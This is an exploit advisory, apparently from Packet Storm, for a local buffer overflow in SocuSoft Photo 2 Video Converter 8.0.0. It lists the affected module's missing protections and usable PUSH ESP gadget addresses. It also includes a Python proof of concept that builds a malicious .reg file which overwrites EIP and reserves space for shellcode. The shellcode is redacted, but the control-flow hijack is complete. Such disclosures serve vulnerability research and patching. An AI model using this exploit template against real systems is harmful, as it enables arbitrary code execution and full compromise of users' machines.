Twenty Year Anniversary

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS
Posted Dec 1, 2017
Authored by ret2eax

SocuSoft Co. Photo 2 Video Converter Free and Pro variants version 8.0.0 suffer from a buffer overflow in the pdmlog.dll library.

tags | exploit, overflow
MD5 | 0606514841e96d1205b7eb9b1c216c23

SocuSoft Co. Photo 2 Video Converter 8.0.0 Code Execution / DoS

Change Mirror Download

=================================================================================
_ _____ _____ _____
| | | _ | |____ | |____ |
| |__ | |/' |_ __ ___ / / ___ _ __ / /_ __
| '_ \| /| | '_ ` _ \ \ \/ __| '__| \ \ \ /\ / /
| | | \ |_/ / | | | | |.___/ / (__| | .___/ /\ V V /
|_| |_|\___/|_| |_| |_|\____/ \___|_| \____/ \_/\_/

> _[C O N T A C T] :
Twitter: @ret2eax
Email: ret2eax@riseup.net
Blog: ret2eax.pw
Website: hackthegrid.com.au

[+]-----------------------------------------------------------------[+]
| Impacted Vendor: SocuSoft Co. |
| Vulnerable Software: Photo 2 Video Converter Free & Pro Variants |
| Software URL: http://www.socusoft.com/ |
| Effected Release: 8.0.0 |
| Vulnerability Type: Code Execution, Denial of Service |
| Date Released: 01/12/2017 |
| Released by: ret2eax |
[+]-----------------------------------------------------------------[+]

=================================================================================

[+]----------------------------[ S U M M A R Y ]------------------------------[+]

Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants)
contains a local buffer overflow condition in the pdmlog.dll library.
Exploitation can result in x86 register rewrites to control program execution
flow, therefore, resulting in ability to execute arbitrary shellcode leading
to complete system compromise.

[+]-------------------------[ D E S C R I P T I O N ]------------------------[+]

One of many modules, the following contains no illegal address characters
i.e. '\0x00'.

+-----------------------------------------------------------------+
| Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Module |
|-----------------------------------------------------------------|
| False | False | False | False | False | DVDPhotoData.dll |
+-----------------------------------------------------------------+

The following PUSH ESP instruction addresses are suitable to redirect
program execution:

>_[DVDPhotoData.dll]:

0x10002352 push esp; ret
0x10013945 push esp; retn 0x0004
0x1004cb83 push esp; retn 0x0008
0x1004cbb8 push esp; retn 0x0008
0x1004cc11 push esp; retn 0x0008


[+]-----------------------[ P R E C O N D I T I O N S ]---------------------[+]

1. Tested on Windows Server 2008 R2
2. Import generated .reg prior to restarting the executable within a debugger
3. Overflow condition observed to occur in pdmlog.dll

[+]------------------------[ E X P L O I T A T I O N ]----------------------[+]

A Proof of Concept is as follows:

>_[Python Script - SHELLCODE REDACTED]:

#!/usr/bin/python

# REGISTERS

# EAX 42424242
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 035BFB90
# EBP 035BFBAC
# ESI 00000002
# EDI 00000000
# EIP 42424242

# EAX 10013945 DVDPhoto.10013945
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 03A0FB90
# EBP 03A0FBAC
# ESI 00000002
# EDI 00000000
# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10'

# outfile
file = "proof-of-concept.reg"

# register re-write
padding = "\x41" * 548
eipOffset = "\x45\x39\x01\x10" # PUSH ESP (0x10013945)
stackRewrite = "\x43" * 400 # Shellcode Space

# generate exploit file containing above payload instructing EIP overwrite

poc = "Windows Registry Editor Version 5.00\n\n"
poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""

try:
print "[*] Generating exploit contents...\n";
print "[*] Creating payload file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] Success!";
except:
print "[!] ERROR!";

#EOF

=================================================================================

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close